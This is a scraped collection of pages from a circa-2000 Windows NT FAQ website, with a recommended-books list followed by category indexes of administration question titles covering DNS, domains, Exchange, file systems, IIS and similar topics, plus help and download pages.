Windows NT Server | Mastering Windows NT Server 4 - Mark Minasi Here is the newest edition of the #1 best-selling NT Server book in the world! This landmark, must-have, 1650-page hardcover edition (with CD) is massively revised with 300 pages of new material, including new chapters on Internet Information Server, Zero Administration for Windows, registry secrets, and more. A high-level, irreverent, yet readable explanation of NT Server in the Enterprise provides the best discussion of NT architecture and TCP/IP in print, and includes scores of undocumented secrets, tips, tricks, and workarounds. This edition has a CD that includes scores of NT utilities and programs, plus the entire text and figures of the book as a fully-searchable electronic book!
TCP/IP | Mastering TCP/IP for NT Server - Mark Minasi Mark Minasi, the world's #1 NT authority, and Todd Lammle, best-selling author of the MCSE: TCP/IP Study Guide, have teamed to produce the definitive guide to implementing TCP/IP on NT networks. This book, written in an authoritative yet readable style, takes readers from the basics of TCP/IP through the creation of a complex NT-based Web site, complete with WWW, gopher, and ftp capabilities. Includes comprehensive coverage of advanced topics such as host name and IP address resolution, as well as DHCP, WINS, NetBIOS, and SNMP. An essential reference for NT Server administrators!
Registry | Managing the Windows NT Registry - Robchauxg, Paul E. Robichaux Good book outlining the basic structure of the Windows NT Registry. Great introduction.
Shell Scripting | Windows NT Shell Scripting - Tim Hill The Windows NT book for learning Shell Scripting. 1st class.
DNS | Windows NT Dns (New Rider's Professional Series) - Michael P. Masterson, Herman L. Knief Good all round text on DNS, the core of any TCP/IP network, and indeed, the internet.
4.0 Resource Kit | Microsoft Windows Nt Server Resource Kit : For Windows Nt Server Version 4.0 (Microsoft Professional Editions) The Windows NT bible. Essential purchase.
Supplement 1 | Microsoft Windows Nt Server Resource Kit Version 4.0 : Supplement 1 (Microsoft Professional Editions) Updates to the Resource Kit. This concentrates on Internet/Intranets and has some new utilities.
Supplement 2 | Microsoft Windows NT Server Resource Kit Version 4.0, Supplement Two This is the second update to the Resource Kit. This comprises of only a CD but the utilities are very good.
Workstation Resource Kit | Microsoft Windows NT Workstation Resource Kit (Microsoft Professional Editions) The Windows NT Workstation Resource Kit. Good reading.
RAS | Inside Windows NT Server 4 Ras - Barrie A. Sosinsky (Editor), Mark Hall, Bruce Hallberg, R. an Bezilla, Joel Millican Detailed information on RAS.
Networking Essentials | Networking Essentials : Second Edition - Microsoft Press Not the most interesting of books but will give you a good introduction into networks.

Exchange 5.5

Exchange | Using Microsoft Exchange Server 5.5 (Special Edition Using...) - Kent Joshi (Editor), Tracy Bradley, Tito Del Prado, Neil Nelmida Excellent book on Exchange Server 5.5 with a few technical in-accuracies.
Exchange | Managing and Maintaining Microsoft Exchange Server 5.5 - Microsoft Consulting Corporation Another great book on Exchange
Exchange | MCSE: Exchange Server 5.5 Study Guide - James Chellis, Richard L. Easlick Concentrates on the subjects needed for the MCSE exam

Systems Management Server

SMS | Microsoft Sms 1.2 Administrator's Survival Guide - Ric Anderson (Editor), Rob Cryan, James Farhat, Teri Guendling, Ahsan Farooqi In-depth SMS 1.2 book.
SMS | Sms 1.2 McSe : Study - Guide Greg P. Bulette Great MCSE SMS focused book.

SQL

SQL MCSE Training Guide : SQL Server 6.5 Administration - David Lafferty (Editor), Brad McGehee, Chris Miller, Wayne Smith
Good grounder on installing and Administering SQL with a focus towards MCSE certification.

Terminal Server

SQL Windows NT Terminal Server and Citrix MetaFrame
Windows NT Terminal Server and Citrix MetaFrame is a technical reference that details all aspects of planning, installing, administering, and troubleshooting Microsoft Terminal Server and Citrix MetaFrame systems.

Proxy Server

Proxy Server MCSE: Proxy Server 2 Study Guide - Erik Rozell, Todd Lammle, James Chellis
Great introduction to Proxy Server

Programming

VC++ 6 | Microsoft Visual C++ 6.0 Programmer's Guide - Beck Zaratian Excellent. Great chapter on debugging.
C++ web | Cgi : Internet Programming With C++ and C - Mark Felton Very good, let down by a few errors but helped me write my CGI search engine for the FAQ!

If none of books featured match your requirements perform a search.

Books Music Enter keywords...

Amazon


Windows NT FAQ - Command Prompt

Environment - Command Prompt

  • How can I configure the command prompt?
  • How do I enable/disable command extensions?
  • What commands can be used to configure the command window?
  • How can I configure a scroll bar on my command window?
  • How do I cut/paste information in a command box?
  • How do I enable Tab to complete file names?
  • How do I create a shortcut from the command prompt?
  • How can I redirect the output from a command to a file?
  • How can I get a list of commands I have entered in a command session?
  • How can I start explorer from the command prompt?
  • How can I change the title of the CMD window?
  • What keyboard actions can I take to navigate the command line?
  • How can I change the default Dir output format?
  • How do I pause output from a command to one screen at a time?
  • How can I increase the environment space for a single command session?
  • How can I stop a process from the command line?
  • How can I open a command prompt at my current directory in Explorer?
  • How can I open a command prompt at my current drive in Explorer?
  • How can I change the editor used to edit batch/command files?
  • The AT command works differently under NT 4.0 than NT 3.51.
  • How can I append the date and time to a file?
  • How can I switch my command window to full screen mode?
  • International versions of NT have strange behavior in command prompt.
  • What is the difference between cmd.exe and command.com?
  • How can I configure the command prompt to output to files in UNICODE/ANSI?
  • How can I force the output of a program into an environment variable?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Compatibility

Compatibility

  • Does application x work with NT 4.0?
  • Does game x work with NT 4.0?
  • Does NT run 16bit applications?
  • Will NT 3.51 drivers work with NT 4.0?
  • How can I fool a program into thinking my NT installation is actually Windows 95?
  • How can I fool a program into thinking my Windows 2000 installation is actually Windows NT/95/98?
  • Is BackOffice Server Windows 2000 compatible?
  • How do I get the RIO 500 player to work on Windows 2000?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT Frequently Asked Questions (FAQ)

Contact Information

If you have a comment about the FAQ, a solution that you think should be in the FAQ or a correction to an existing item please use the form below.

Do NOT mail me with questions.

If you have a question or need advice please post it to the NT FAQ Discussion Area, http://www.ntfaq.com/cgi-bin/Ultimate.cgi. I am getting over 100 questions mailed to me a day and its impossible to answer them. If you post to the discussion area someone will help you.

E-mail address

Name

Subject

Detailed Description

john@ntfaq.com


Windows NT FAQ - Core

Core

  • What are the differences between NT Workstation and NT Server?
  • What does NT stand for?
  • What is the NT Boot Process?
  • What is Virtual Memory?
  • What is the history of NT?
  • How do I install the SYMBOL files?
  • What is Windows NT?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Desktop Environment

Environment - Desktop

  • How do I delete/rename the Recycle Bin?
  • How do I disable Task Manager?
  • How do I disable Window animation?
  • How do I reduce/increase the delay for cascading menus?
  • How do I change the My Computer icon?
  • How do I hide the "Network Neighborhood" icon?
  • Why can't I move any icons?
  • How can I disable the Right mouse button?
  • How do I change the colour used to display compressed files/directories?
  • How can I configure the wallpaper to be displayed other than the center of the screen?
  • How can I stop the "Click here to begin" message?
  • How can I get more room on the Task Bar?
  • How do I add the Control Panel to the Start Menu?
  • How can I remove a program from the "Open With" when right clicking?
  • How do I change the Internet Explorer icon?
  • How do I add an item to the Right Click menu?
  • Is it possible to move the Task bar?
  • How can I configure NT to display a thumbnail of bitmaps as the icon instead of the Paint icon?
  • Can I remove one of the startup folders on the Start Menu?
  • How can I clear the Run history?
  • How can I remove the Documents menu?
  • How do I disable the context menu for the Start button?
  • How do I change the Network Neighborhood icon?
  • How do I change the Recycle Bin icons?
  • How do I change the Briefcase icon?
  • How can I get rid of the arrow over the shortcuts?
  • I have deleted the Recycle bin how can I recreate it?
  • I have deleted Internet Explorer from the desktop how can I recreate it?
  • How can I add a shortcut to launch a screensaver on the desktop?
  • How do I delete/rename the Inbox icon?
  • I have deleted the Inbox icon, how can I recreate it?
  • How can I stop and start Explorer (the shell)?
  • How do I enable the mouse snap-to?
  • How do I enable X Windows-Style auto-raise?
  • How do I remove a template from the New menu?
  • I don't have the new item on my desktop context menu.
  • How do I remove the Favorites branch of the Start menu?
  • How do I disable the logoff buttons?
  • How do I stop the default Shortcut to text added to new shortcuts?
  • How do I modify the shortcut arrow?
  • How can I set the default view for all drives/folders?
  • How can I stop my environment changes being saved when I logoff?
  • How can I enable Hi-Colour icons?
  • How can I configure the wallpaper to stretch across the screen?
  • How can I configure dialog box content to be shown while dragging windows?
  • How can I configure Font smoothing?
  • How can I modify the grace timeout for password protected screensavers?
  • How can I minimize all open windows?
  • How can I configure logoff to show on the Start menu in Windows 2000?
  • How can I configure Control Panel to cascade on the Start menu in Windows 2000?
  • How can I remove the Scheduled Tasks icon from My Computer?
  • How can I configure the Administrative Tools to show on the Start menu?
  • How can I recreate 'My Briefcase' if I deleted it?
  • How do I use My Briefcase?
  • How can I avoid having to click 'Show Files' in 2000's Explorer all the time?
  • How do I add the Dial Up Networking to the Start Menu?
  • How do I add the Printers Settings applet to the Start Menu?
  • How can I remove an item from the New context menu?
  • How can I check for dead shortcuts on my system?
  • How can I add a Encrypt/Decrypt option to the context menu?
  • How can I add a Copy to Folder option to the context menu?
  • How can I add a Move to Folder option to the context menu?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - DFS

Distributed File System

  • What is Distributed File System?
  • Where can I get Dfs?
  • How do I install Dfs?
  • How do I create a new folder as part of the Dfs?
  • How do I uninstall Dfs?
  • How do I create a Dfs root volume in Windows 2000?
  • How can I add a replica Dfs root volume in Windows 2000?
  • How can I add a child node to Dfs in Windows 2000?
  • How can I add a replica child node to Dfs in Windows 2000?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - DHCP

DHCP

  • What is DHCP?
  • How do I install the DHCP Server Service?
  • How do I configure DHCP Server Service?
  • How do I configure a client to use DHCP?
  • How can I compress my DHCP database?
  • How can a DHCP client find its IP address?
  • How can I move a DHCP database from one server to another?
  • How do I create a DHCP Relay Agent?
  • How can I stop the DHCP Relay Agent?
  • How can I backup the DHCP database?
  • How can I restore the DHCP database?
  • How do I reserve a specific address for a particular machine?
  • What registry settings control the DHCP log in Windows 2000?
  • How do I authorize a DHCP server in Windows 2000?
  • How do I create a DHCP scope in Windows 2000?
  • How do I configure DHCP scope options in Windows 2000?
  • How can I view DHCP address leases in Windows 2000?
  • How do I change the DHCP address lease time in Windows 2000?
  • My Windows 2000 DHCP client has an IP address not in any scopes, how?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - DNS

DNS

  • How do I install the DNS Service?
  • How do I configure a domain on the DNS Server?
  • How do I add a record to the DNS?
  • How do I configure a client to use the DNS?
  • How do I change the IP address of a DNS server?
  • How can I configure DNS to use a WINS server?
  • Where in the registry are the entries for the DNS servers located?
  • I receive error message "No More Endpoints".
  • How do I configure DNS for a Windows 2000 domain? - Windows 2000 only
  • How do I configure Active Directory integrated DNS? - Windows 2000 only
  • Setting a secondary DNS server as primary results in errors.
  • How do I turn off Dynamic DNS? - Windows 2000 only
  • How do I configure a forwarder on DNS 5.0? - Windows 2000 only
  • I am missing the forwarder and Root Hints tabs in DNS 5.0. - Windows 2000 only
  • How do I enable DNS round robin resolution?
  • DNS resolution of a valid domain fails on NT.
  • How can I force a Windows 2000 domain controller to re-register its DNS entries?
  • I'm getting DNS zone transfer messages in the event log, is someone hacking me?
  • How do I perform a DNS zone transfer?
  • How can I stop DNS Cache pollution?
  • How can I enable my web site to be accessible as ntfaq.com instead of www.ntfaq.com?
  • How can set the primary DNS suffix in Windows 2000?
  • How do I create a caching-only DNS server?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Domains

Domains

  • How do I change Domain Names?
  • How do I move a Workstation to another Domain?
  • How many user accounts can I have in one Domain?
  • How to I change my server from Stand Alone to a PDC/BDC?
  • What is a PDC, BDC?
  • How many BDC's should I have?
  • How do I configure a Trust Relationship?
  • How do I terminate a Trust Relationship?
  • How can I join a domain from the command line?
  • How do I demote a PDC to a BDC?
  • How can I configure a BDC to automatically promote itself to a PDC if the PDC fails?
  • How do I rename a PDC/BDC?
  • Can I move a BDC to another domain?
  • Can I change a PDC/BDC into a standalone server?
  • Can I administer my domain from an NT Workstation?
  • In what order should I upgrade my PDC and BDC's from 3.51 to 4.0?
  • What tuning can I perform on PDC/BDC Synchronization?
  • I cannot add a BDC over a WAN.
  • How can I synchronize the domain from the command line?
  • How can I force a client to validate its logon against a specific domain controller?
  • How do I promote a server to a domain controller? - Windows 2000 only
  • How can I generate a list of all computer accounts in a domain?
  • How can I verify my Windows 2000 domain creation? - Windows 2000 only
  • How can I configure multiple Logon Servers with LMHOSTS?
  • Are trust relationships kept when upgrading for a 4.0 domain to a Windows 2000 domain?
  • How are trust relationships administered in Windows 2000?
  • I can't promote a BDC to PDC.
  • Unable to join a domain because of SMB signing, what can I do?
  • How can I create a child domain?
  • How can I create a domain trust through a firewall?
  • How can I check the browse masters for a domain?
  • How can I stop a remote master browser?
  • How can I force a browser election?
  • How can I modify the domain refresh interval?
  • How is the list of cached domains stored?
  • How can I disable trust password changes?
  • How can I change the password change for computer/trust accounts?
  • The list of domains in the logon box is not updated, what can I do?
  • Is it possible to administer a 4.0 domain from a Windows 2000 machine?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT Frequently Asked Questions (FAQ)

Downloads

There are now three different download versions of the FAQ that you can download. All are updated on Monday of each week (usually more often).

This FAQ and all download versions are copyright © 2000 John Savill (SavillTech Ltd). Reproduction or distribution in whole or in part without written permission is prohibited. All rights reserved. Legal action will be taken against anyone violating this copyright.

The action of downloading acknowledges acceptance of the above.

Files last updated - 10th April 2000

Download the HTML Help file version of the FAQ | 7.4MB | A compiled version of the FAQ in the new HTML Help format. Internet Explorer 4.0 or above is needed on the client machine to read the file. You may need an updated ocx file from http://msdn.microsoft.com/workshop/author/htmlhelp/localize.asp
Download the Windows Help file version of the FAQ | 5.4MB (zip) | The complete FAQ in Windows Help format.
Download the single file HTML version of the FAQ | 4.9MB (zip) | The most basic single HTML file version of the FAQ. Useful for local printing but may NOT be distributed in anyway.


Windows NT FAQ - Exchange

Exchange/Windows Messaging

  • The Outlook/Exchange client takes a long time to start.
  • How can I stop Outlook dialing my Internet Account on Startup?
  • How do I install Exchange?
  • How do I enable the Exchange Active Server Pages?
  • How do I use the Exchange Optimizer utility?
  • How can I convert mail system X to Exchange?
  • How can I create shortcut on the desktop with the "to" field completed?
  • NT Server hangs at shutdown if User Manager is running.
  • How can I send a mail message from the command line?
  • What files does Exchange use?
  • How can I change the location of my mail file in Outlook 98?
  • How can I reduce the size of my mail file?
  • I have a bad message in my POP3 mail box using TELNET
  • How can I send mail to a SMTP server using Telnet?
  • Is there a list of known Exchange Directory and Information store problems?
  • How do I install Exchange Server 5.5?
  • How do I run the Exchange Optimizer?
  • What Service Packs are available for Exchange?
  • How can I retrieve mail from a POP3 mailbox and forward it to Exchange server?
  • How do I upgrade from Exchange 5.0 to 5.5?
  • How do I uninstall Exchange?
  • How do I install a duplicate Exchange server?
  • How do I connect Exchange sites?
  • Exchange Security Knowledge Base list.
  • How do I configure Exchange Directory Replication?
  • How do I monitor an Exchange link?
  • How do I delete a server from an Exchange site?
  • How do I setup an Exchange forward?
  • How do I configure a X.400 Exchange connector?
  • How do I allow a user to administer Exchange?
  • How do I grant permission for people to create top level public folders?
  • How do I create public folders?
  • How do I connect my Exchange server to a SMTP server?
  • How do I connect my Exchange server to a NEWS feed?
  • What web sites have good Exchange information?
  • How do I download to Exchange from multiple POP3 mail boxes?
  • How do I install the Key Management Server?
  • How do I manage the Certificate Authority of Key Management Server?
  • How do I enable advanced security for a user?
  • How do I automatically create an Exchange mailbox for all members of the domain?
  • How do I avoid having to enter the Key Management password?
  • I archived some .pst files to a CD-ROM but unable to load the files.
  • How can I limit Exchange mailbox size?
  • How can I limit message sizes in Exchange?
  • How can I undelete mail in Outlook?
  • What workflow software is available for Exchange server?
  • How do you add an additional Global Address Book or another view to the global address book?
  • How do I delete a bad Schedule + message?
  • How do I link Exchange 5.5 and the Windows 2000 Active Directory?
  • What is the upgrade to large table option in Outlook?
  • How can I disable the Journal in Outlook?
  • Internet Mail Server hangs on start-up, ID 7022, why?
  • How can I search my Exchange stores for virus infected messages?
  • How do I create an Outlook vCard?
  • How can I configure Outlook to be the default mail client?
  • How do I install a digital signature in Outlook?
  • How do I create a distribution list in Outlook 2000?
  • How can I add a disclaimer to each outgoing mail at server level?
  • How I can I block mail with certain attachments or certain words at server level?
  • How can I automatically compress all outbound mail to save on bandwidth?
  • Unix users can't talk to an Exchange box News server without requiring authentication domain\user, why?
  • Does the Exchange News server support mode stream?
  • How can I fax from Exchange server?
  • How can I limit the number of recipients for a message?
  • My outlook .pst file is corrupt what can I do?
  • Where can I get Exchange Server 2000?
  • How can I encrypt email at server level?
  • How can I stop the Exchange SMTP service performing reverse lookups?
  • How can I move an Outlook Personal Address Book on a Mac to a PC?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - File Systems

File Systems

  • How can a FAT partition be converted to an NTFS partition?
  • How can a NTFS partition be converted to a FAT partition?
  • How do I run HPFS under NT 4.0?
  • How do I compress a directory?
  • How do I uncompress a directory?
  • Is there an NTFS defragmentation tool available?
  • Can I undelete a file in NT?
  • Does NT support FAT32?
  • Can you read a NTFS partition from DOS?
  • How do you delete a NTFS partition?
  • Is it possible to repartition a disk without losing data?
  • What is the biggest disk NT can use?
  • Can I disable 8.3 name creation on a NTFS?
  • How can I stop NT from generating LFN's (Long File Names) on a FAT partition?
  • I can't create any files on the root of a FAT partition.
  • How do LFN's work?
  • How do I change access permissions on a directory?
  • How can I change access permissions from the command line?
  • I have a CHKDSK scheduled to start next reboot, but I want to stop it.
  • My NTFS drive is corrupt, how do I recover?
  • How can I delete a file without it going to the recycle bin?
  • How can I change the serial number of a disk?
  • How can I backup the Master Boot Record?
  • How do I restore the Master Boot Record?
  • What CD-ROM file systems can NT read?
  • How do I disable 8.3 name creation on VFAT?
  • How do I create a Volume Set?
  • How do I extend a Volume Set?
  • How do I delete a Volume Set?
  • What is the maximum number of characters a filename can be?
  • How can I stop chkdsk at boot time from checking volume x?
  • How can I compress files/directories from the command line?
  • What protections can be set on files/directories on a NTFS partition?
  • How can I take ownership of files?
  • How can I view the permissions a user has on a file from the command line?
  • How can I tell the total amount of space used by a folder (including sub folders)?
  • There are files beginning with $ at the root of my NTFS drive, can I delete them?
  • What file system do Iomega ZIP disks use?
  • What cluster size does a FAT/NTFS partition use?
  • How much free space do I need to convert a FAT partition to NTFS?
  • NT becomes unresponsive during an NTFS disk operation such as a dir.
  • I have missing space on my NTFS partitions (Alternate Data Streams).
  • How can I change the Volume ID of a disk?
  • How do I read NTFS 5.0 partitions from Windows NT 4.0?
  • How do share and file system protections interact?
  • How can I backup/restore my Master Boot Record?
  • How do I convert an NTFS partition to NTFS 5.0? - Windows 2000 only
  • I cannot compress files on an NTFS partition.
  • How can I modify the CHKDSK timer?
  • How can I view the current owner of a file?
  • How can I view/defrag pagefile fragmentation?
  • I get a disk maintenance message during setup.
  • Where is Disk Administrator in Windows 2000? - Windows 2000 only
  • How do I convert a basic disk to dynamic? - Windows 2000 only
  • How do I delete a volume in Windows 2000?
  • How do I import a foreign volume in Windows 2000?
  • How can I wipe the Master Boot Record?
  • How can I cancel a scheduled NTFS conversion?
  • What is the Encrypted File System (EFS)?
  • How do I encrypt/decrypt a file?
  • What do I encrypt/decrypt a file from the command line?
  • How can a user request an EFS recovery certificate?
  • How can I add a user as an EFS recovery agent for a domain?
  • How do I delete an orphaned share?
  • How can I check who last opened a file?
  • I've increased the size of a hardware RAID volume but NT does not see the size increase, what can I do?
  • I'm unable to use the Encrypted File System under Windows 2000 as I'm a member of a 4.0 domain.
  • How do I enable per volume/user disk space quotas on NTFS 5.0?
  • How do I view current quota entries?
  • How do I add a new user quota entry?
  • What are reparse points?
  • What are directory junctions?
  • What are Mount points?
  • What do I add a Mount point?
  • What do I remove a Mount point?
  • What do I create a Mount point from the command line?
  • What is Native Structured Storage?
  • How can I backup my local Encrypted File System recovery key?
  • How can I restore my local Encrypted File System recovery key?
  • How can I perform a CHKDSK on an NTFS 5.0 partition from NT 4.0?
  • How do I create a unix-like hardlink on NTFS?
  • Is there an alternative to the linkd utility supplied with the Windows 2000 Resource Kit?
  • The " Data in Remote Storage" indicator is not correct, what can I do?
  • What is the Remote Storage System (RSS)?
  • How do I install the Remote Storage subsystem?
  • How do I configure the Remote Storage subsystem?
  • How do I force a Remote Storage scan?
  • How can I tell which files have been moved to remote storage?
  • How can I disable remote storage for a volume?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Group Policy

Group Policy

  • What is Group Policy?
  • How can I force GPO updates to take effect?
  • How can I enable the old NTCONFIG.POL to be used by Windows 2000 clients?
  • How can I add additional templates to a Group Policy Object?
  • How can I apply a group policy to a security group?
  • Password policies assigned to an OU/site GPO do not work.
  • How can I convert a NT 4.0 .pol file to a Windows 2000 group policy object?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Hardware

Hardware

  • How do I change the letter associated with a drive?
  • How can I get NT to recognize my second harddisk?
  • How do I install a HP scanner?
  • How do I install dual screens?
  • How much memory can NT support?
  • How much memory do I need for NT?
  • I cannot see my CD-ROM drive from NT?
  • What are the IRQ's used for?
  • How Many CPU's does NT support?
  • Is there a list of hardware NT supports?
  • Can I test my hardware to see if it is compatible with NT?
  • Can I test my SCSI devices?
  • How do I disable mouse detection on a COM port (for UPS usage)?
  • Where can I get a driver for x?
  • My U.S. Robotics 56K modem only connects at 19200.
  • Can I use the IDE interface on my sound card?
  • Does NT support Plug and Play?
  • How do I install UPS?
  • How do I give my tape drive a letter so it is visible from explorer?
  • How can I force NT to use a mouse on a given port?
  • How can I view which resources devices are using under NT?
  • When I disconnect one of my devices I get errors when I boot NT, how can I stop them?
  • How can I tell if I am using the Compaq Hardware Abstraction Layer?
  • How do stop a dual monitor Matrox Millenium system splitting dialog boxes?
  • How can I suppress the error message generated if my ZIP drive is not connected?
  • Does Windows NT 4.0 support USB?
  • Why can't I hot swap my PCMCIA card with Windows NT 4.0?
  • How do I install a ZIP drive under NT?
  • How do I enable Bus Mastering in Windows NT?
  • I said no to a PNPISA device now I want to install it.
  • How do I perform unattended installations on machines with AGP graphics cards?
  • Does NT support DVD drives?
  • How can I check the amount of physical RAM in my machine?
  • How can I safely disable a device?
  • How can I make NT see more than 8 units on SCSI?
  • Does Windows support the Promise Ultra ATA/66?
  • How do I enable Hibernate on my machine?
  • How do I enable/disable passwords when resuming from hibernate/standby?
  • How can I put my machine in 'standby' mode?
  • Does the new Microsoft IntelliPoint software 3.0 software install on NT/Windows 2000?
  • Does the new Microsoft IntelliType Pro software install on NT/Windows 2000?
  • My PNP PCI cards do not all work in Windows NT.
  • How do I enable bus mastering (DMA) in Windows 2000?
  • How do I set the DVD region in Windows 2000?
  • How do I reset the DVD region count?
  • How do I disable bus mastering on the 3COM 3C590 card?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ Help

Help

microage.gif (5702 bytes) Suite101.com Best of Web Logo sunbelt.gif (10668 bytes)

This page is here for general answers to questions relating to the site.

Q. How can I submit a question?

A. I do not provide a free e-mail based answer service so please don't mail me questions. If you have a problem please post it to the Discussion Area.

Q. Who designed the logo for the FAQ?

A. It was designed by jmcbride@brother.com, and a good job!

Q. I downloaded the NT FAQ (http://www.ntfaq.com/faqcomp.zip) however I can't unzip it?

A. The usual cause is the download process was interrupted, download again. The file size should be over 1MB.

Q. The download file is to large, why don't you split it up?

A. The original reason for the download version was people wanted a single file that they could print off as a reference version. I will shortly be adding a second download which will be the FAQ in a help file format which will be fully searchable and much faster. Expect this to be released around 1st September along with several new features to the site.

Q. I can't see a place to subscribe on the FAQ?

A. There have been some problems relating to the form used to subscribe so you can manually subscribe by sending a mail message to nt-faq@ed-com.com with subscribe in the body of the message.

Q. What do I do with faqcomp.zip?

A. This is a zipped file which contains the FAQ as a number of HTML documents. To access the documents contained in the ZIP file you will need software to "unzip" the file. Windows 98 plus pack includes built in zip support or you can download any one of a number of shareware ZIP utilities. A GUI based one is WINZIP from http://www.winzip.com which is good.

Q. How often is the downloadable version of the FAQ updated?

A. Once a week, every Monday.

Q. How often is the site updated?

A. Every weekday, not usually at a weekend (we need some time to sleep). The What's New section shows NEW items however existing items are constantly updated to reflect the latest information (for example the Service Pack areas) but I don't list these as it would become a mess.

Q. Where have the fancy fonts gone?

A. I have removed the custom fonts as they were not compatible on all browsers, after feedback I felt it more important for the FAQ to be universally readable.

Q. I subscribed to the FAQ but I have not received anything.

A. I usually send out the FAQ at least once a week, if its been over 7 days and you have not received anything then chances are you are not subscribed. The most common problem is people are not subscribing to the correct address, they send me the subscription request which is wrong, subscriptions should be made either by the "form" on the NT FAQ or mailing nt-faq@ed-com.com with subscribe in the body of the message.

Several ISP's such as AOL treat the FAQ delivery as SPAM as its delivered to more than 3 people at once! Therefore they reject it. There is nothing I can do.

Q. How do you construct the site?

A. I use FrontPage 2000 for the main editing and publishing of the site, and then a custom C++ program I wrote to merge them all into one and update the bookmarks for the single file download version of the FAQ. I used to have a VB macro to merge them but it was slow and started crashing when I re-organized the site! It used to take 5 minutes, the new C++ program takes 5 seconds and automates everything!

Q. How do I contact you?

A. Due to the amount of mail I receive I can't answer messages on a one-to-one basis so your best method is to post something on the Discussion Area and I'll answer there. If its not public material (offers of money, free software etc. :-) ) then mail me at john@ntfaq.com.

Q. How do I advertise on the FAQ?

A. Simply send an e-mail to john@ntfaq.com specifying your details and we can discuss rates. I don't charge as much as you'd think for a site whose main page gets over 250,000 impressions a month.


Windows NT FAQ - Internet Explorer

Internet Explorer 4.0/5.0

  • How can I remove the Active Desktop?
  • How can I get past the "Active Desktop Recovery" page?
  • What keyboard commands can I use with Internet Explorer 4.0?
  • How can I create a keyboard shortcut to a web site?
  • How can I customize folders with web view enabled?
  • How can I change the icons in the Quick Launch toolbar?
  • I have lost Show Desktop/View Channels from the Quick Launch bar, help!
  • How do I change the default Search Engine?
  • How do I remove the Internet Explorer icon from the desktop?
  • How can I browse off-line?
  • How can I reclaim wasted space by Microsoft's Internet E-mail readers?
  • I cannot specify a download directory when I download a file.
  • Internet Explorer opens .EXE files instead of Downloading them.
  • How can I change the default start page?
  • I have forgotten the content advisor password.
  • Where can I download IE 5.0?
  • How do I clear Internet Explorers History?
  • How can I modify IE's toolbar background?
  • How can I restore the IE animated logo?
  • Are there any Easter Eggs in Internet Explorer 5.0?
  • How can I stop users accessing local drives via Internet Explorer?
  • What addition restrictions are available in Internet Explorer IE4.01 SP2 and above?
  • How can I configure proxy settings in Internet Explorer 5.0?
  • How can I install Internet Explorer 4.0 without adding the IE icon to the desktop?
  • How do I use the Internet Explorer 5.0 repair tool?
  • I have forgotten the content advisor password under Windows 9x/IE 5.0.
  • The tab key does not select the right hand pane in a IE5 help search.
  • How do I turn off Internet Explorer AutoComplete?
  • Where can I get the patch for the IE 5.0 DHTML problem?
  • I get an error when I try and install Internet Explorer 4.0 using Active Setup.
  • How do I set an Internet Explorer favorite icon for my web site?
  • How can I detect if Windows Update is installed on a machine?
  • Internet Explorer Admin Kit version of IE 5.0 replaces the 128 bit encryption on Windows 2000.
  • How can I start Internet Explorer without the toolbars?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Internet Information Server

Internet Information Server

  • What is IIS?
  • How do I install Internet Information Server?
  • What is Internet Service Manager?
  • What is Index Server?
  • What are Active Server Pages?
  • How can I configure the Connection Limit?
  • How do I change the default file name?
  • How can I enable browsers to view the contents of directories on the server?
  • How can I configure the FTP welcome message?
  • How do I configure a virtual server?
  • How can I administer my IIS server using a web browser?
  • How can I configure FTP to use Directory Annotation?
  • Only the first line of the Directory Annotation is shown.
  • How can I configure the amount of IIS Cache?
  • How do I create a virtual directory?
  • How to install FrontPage Extensions on Beta 2? - Windows2000 only
  • What fixes are available for IIS?
  • How do I specify more than one default document?
  • How can I move my IIS server to another machine?
  • Front Page Search Component always returns No Documents Found running IIS4 and FP 98exts, why?
  • How to stop the NT4 Option Pack/Windows 2000 SMTP service from advertising 8bitmime?
  • How do I enable Index Server in Windows 2000?
  • How do I create a new Index Server catalog?
  • I receive an Index Server error 'Query Is Too Expensive', why?
  • I receive error 'The catalog is corrupt' when performing an Index Server search, what can I do?
  • How can I stop hidden files etc. being returned by Index Server queries?
  • How can I control the amount of resource used by the Index service? - Windows 2000
  • How can I stress test my IIS server?
  • How can I change the number of threads IIS uses?
  • How can I limit bandwidth/processor usage for IIS?
  • How do I enable FTP resume?
  • Statistics Server will not run on IIS 5.0?
  • How can I host multiple web sites on a single IP address?
  • How can I allow non administrators to publish to a FrontPage web site?
  • How can I disable command shell from within IIS?
  • How can I disable parent paths in IIS?
  • How do I configure Index Server catalogs?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT Frequently Asked Questions (FAQ)

Download the file versions of the FAQ

Click here to download a FREE 5 user FAXmaker.

LANguard Internet / Network access control

Fill in the new NT FAQ Questionnaire

This FAQ is copyright © 2000 SavillTech Ltd. ALL RIGHTS RESERVED
Terms and privacy policy
Mailing List Archive Recommended Books

Search the FAQ: tips for searching

Use Free-Text Query.
